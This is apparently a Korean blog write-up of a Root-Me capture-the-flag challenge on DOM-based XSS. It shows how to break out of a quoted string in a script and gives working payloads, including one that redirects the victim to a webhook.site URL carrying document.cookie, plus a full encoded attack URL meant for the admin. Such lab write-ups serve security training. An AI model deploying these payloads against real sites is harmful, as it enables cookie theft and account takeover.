Problem
How-To-Solve
우선 Dom-Based면 페이지에서 어떻게 실행되는지 확인해봐야 한다.
그러면 Number란에 aaaaa를 넣어서 어떻게 실행되는지 확인해본다.
실행되는 형식은 확인되었고 소스코드 내에서 어떻게 실행되었는지 확인해본다.
위와같이 실행되는 것을 확인할 수 있다.
' <---------- 싱글쿼터로 실행되고 있으므로 싱글쿼터를 확용해서 script내에서 XSS를 시도해본다.
';alert(1);'
위 사진을 보면 '를 활용해서 escape한 후 alert를 실행시키는 방식으로 XSS를 실행시켰다.
같은 방법으로 시도해볼 수 있는데 해당 필드가 javascript이고 '를 이용하여 redirect해야하는 방식으로 시도해야 하기 때문에 document.location.href를 활용하여 작성해보고자 한다.
';document.location.href='https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag='.concat(document.cookie);//
location을 활용한 script를 작성하였다.
위의 스크립트를 실행하면 정상적으로 redirect가 되는지 위의 화면에서 확인해보도록 한다.
위의 URL을 보면 webhook으로 redirect되면서 flag필드에 cookie값이 들어간 것을 확인할 수 있다.
이와 같은 방법으로 concat에서 admin에게 URL을 전달해서 flag를 얻을 수 있을 것이다.
http://challenge01.root-me.org/web-client/ch32/index.php?number=%27%3Bdocument.location.href%3D%27https%3A%2F%2Fwebhook.site%2Fab580156-832c-44bb-be26-9fd6395823c9%2F%3Fflag%3D%27.concat%28document.cookie%29%3B%2F%2F
script를 작성한 루 url을 전달했다.
이제 기다리면 된다.
끝!
'Wargame > root me' 카테고리의 다른 글
[Web - Client] XSS DOM Based - Eval (1) | 2023.04.08 |
---|---|
[Web - Client] XSS DOM Based - AngularJS (0) | 2023.04.07 |
[Web - Client] CSRF - 0 protection (0) | 2023.04.05 |
[Web-Client] CSP Bypass - Inline code (0) | 2023.04.04 |
[Web - Clinet] XSS - Stored 1 (0) | 2023.04.03 |